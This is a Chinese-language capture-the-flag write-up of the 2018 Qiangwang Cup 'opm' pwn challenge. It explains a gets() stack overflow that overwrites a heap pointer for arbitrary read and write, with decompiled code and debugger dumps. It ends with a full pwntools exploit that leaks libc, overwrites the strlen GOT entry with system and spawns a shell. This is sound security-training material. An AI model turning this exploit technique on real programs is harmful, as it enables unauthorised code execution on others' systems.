强网杯pwn-opm-write-up

题目来源

2018强网杯线上赛-pwn,下载

漏洞类型

gets()函数导致栈溢出,覆盖指向堆块的指针,可以实现任意地址读和任意地址写。

分析过程

create_role函数当中有两处使用了gets函数,第一反应就是栈溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int (__fastcall **create_role())(__int64 a1)
{
_QWORD *v0; // rbx@1
_QWORD *v1; // rbx@1
size_t v2; // rax@1
__int64 v3; // rbx@1
int (__fastcall **result)(__int64); // rax@1
__int64 v5; // rcx@1
char s; // [sp+0h] [bp-1A0h]@1
_QWORD *v7; // [sp+80h] [bp-120h]@1
char *name; // [sp+100h] [bp-A0h]@1
__int64 v9; // [sp+188h] [bp-18h]@1

v9 = *MK_FP(__FS__, 40LL);
v0 = (_QWORD *)operator new(0x20uLL);
clear_chunk((__int64)v0);
v7 = v0;
*v0 = role_information;
puts("Your name:");
gets(&s);
v1 = v7;
v1[2] = strlen(&s);
v2 = strlen(&s);
name = (char *)malloc(v2);
strcpy(name, &s);
v7[1] = name;
puts("N punch?");
gets(&s);
v3 = (__int64)v7;
*(_DWORD *)(v3 + 24) = atoi(&s); // 任意地址写
role_information((__int64)v7);
result = (int (__fastcall **)(__int64))v7;
v5 = *MK_FP(__FS__, 40LL) ^ v9;
return result;
}

这个函数会创建一个role结构体,包含一个role_information函数指针,name字符串的指针,字符串的长度和punch大小:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
0x557538398c10 FASTBIN {
prev_size = 0,
size = 49,
fd = 0x55753627db30,
bk = 0x557538398c50,
fd_nextsize = 0x8,
bk_nextsize = 0x6f
}//role结构体
0x557538398c40 FASTBIN {
prev_size = 0,
size = 33,
fd = 0x4141414141414141,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x203a1
}//name字符串

pwndbg> x/8xg 0x557538398c20
0x557538398c20: 0x000055753627db30//role_information函数指针
0x0000557538398c50//name字符串地址
0x557538398c30: 0x0000000000000008//字符串的长度
0x000000000000006f//punch大小
0x557538398c40: 0x0000000000000000 0x0000000000000021
0x557538398c50: 0x4141414141414141 0x0000000000000000

create_role函数的工作过程:

1: 首先创建一个0x30大小的role结构体chunk,role chunk的地址存于栈上;
2: 在结构体的第一个8字节空间写入role_information函数指针;
3: 利用gets函数读入name字符串,存于栈上;计算name的长度,将长度写入role结构体的第三个8字节空间;
4: 创建name字符串的chunk,将name chunk的地址写入role结构体的第二个8字节空间;
5: 利用gets函数读入punch的大小,先保存在栈上,和name字符串在栈上的位置相同;将punch转换为整型,存入role结构体的第四个8字节空间

role chunk的地址和name(punch)存储在栈上的位置:

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> x/18xg $rbp-0x1a0
0x7ffee2bbd660: 0x00007ffee2bbd7b0 //name punch开始写入的位置
0x00007f3a1ce78640
0x7ffee2bbd670: 0x0000000000000000 0x000055753647f020
0x7ffee2bbd680: 0x000055753627da00 0x000055753647f028
0x7ffee2bbd690: 0x000055753627da00 0x00007ffee2bbd920
0x7ffee2bbd6a0: 0x0000000000000000 0x0000000000000000
0x7ffee2bbd6b0: 0x00007ffee2bbd840 0x00007f3a1cc7bac6
0x7ffee2bbd6c0: 0x0000000000000001 0x0000000000000000
0x7ffee2bbd6d0: 0x00007ffee2bbd7e0 0x00007f3a1c529108
0x7ffee2bbd6e0: 0x0000557538398c20 //role chunk的地址
0x00007f3a1cc83eef

从上面可以看出,如果在第二步通过栈溢出将role chunk的地址改写为其他的地址,便可以将后续的name字符串地址和字符串的大小以及punch的大小都写入修改后的位置当中;
结合role_information函数,便可以实现地址泄漏:

1
2
3
4
int __fastcall role_information(__int64 a1)
{
return printf("<%s> said he can kill the boss with %lx punches\n", *(_QWORD *)(a1 + 8), *(_DWORD *)(a1 + 24));
}

如果在第五步通过栈溢出将role chunk的地址改为其他的地址,便可以将punch的值写入修改后的地位偏移0x18字节处,实现任意地址写。

利用过程

在进入create_role函数之后,heap已经被使用了一部分,使得开始创建chunk的开始地址后两个字节刚好为0x10,所以,需要先创建一个role,其name大小为0x70。
这样,第二次创建role时,name字符串的地址后两个字节刚好为0x00,同时通过栈溢出部分覆盖role chunk的地址使得name字符串的地址存放于地址结尾为0x00xx处。
第三次创建role时,需要进行两次栈溢出,第一次刚好将role chunk地址的后两个字节覆盖为0x00,这样后续便是在第二次创建的name chunk上进行写入操作;
第二次栈溢出将role chunk的地址修改为第二次创建role时栈溢出修改的role chunk地址,结尾是0x00xx,在通过role_information函数进行输出时,会将写入第二个name chunk的第三个name chunk的地址打印出来,实现地址泄漏。
后续的操作很常规,覆盖got,调用system(“/bin/sh”)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *

p = process('./opm')

def add(name, punch):
p.recvuntil('(E)xit\n')
p.sendline('A')
p.recvuntil('Your name:\n')
p.sendline(name)
p.recvuntil('N punch?\n')
p.sendline(punch)

def exploit():
add('A'*0x70,'1')
add('B'*0x80+'\x20','1')
add('C'*0x80,'1'+'C'*(0x80-1)+'\x20')

p.recvuntil('<BBBBBBBB')
heap_base = u64(p.recvuntil('>',drop=True).ljust(8,'\x00'))
print("heap base:" + hex(heap_base))

add(p64(heap_base-0x30), '1'+'D'*(0x80-1)+p64(heap_base+0xb8))
p.recvuntil('<')
imfor_function_pointer = u64(p.recvuntil('>',drop=True).ljust(8,'\x00'))
base_addr = imfor_function_pointer - 0xb30
print("elf_base_addr:"+hex(base_addr))

puts_got = 0x202020
add(p64(base_addr + puts_got), '1'+'E'*0x7f+p64(heap_base+0x108))
p.recvuntil('<')
puts_addr = u64(p.recvuntil('>',drop=True).ljust(8,'\x00'))
print("puts addr:"+hex(puts_addr))

libc_base = puts_addr - 0x6f690
print("libc_base_addr:" + hex(libc_base))

system_addr = libc_base + 0x45390
print("system addr:" + hex(system_addr))

punch = "%d" % (system_addr & 0xffffffff)
punch = punch.ljust(0x80,'\0') + p64(base_addr+0x202040-0x18)
#将strlen的got值覆盖为system的地址
add('aaaaaa',punch)

p.recvuntil('(E)xit\n')
p.sendline('A')
p.recvuntil('Your name:\n')
p.sendline('/bin/sh')


if __name__ == '__main__':
exploit()
p.interactive()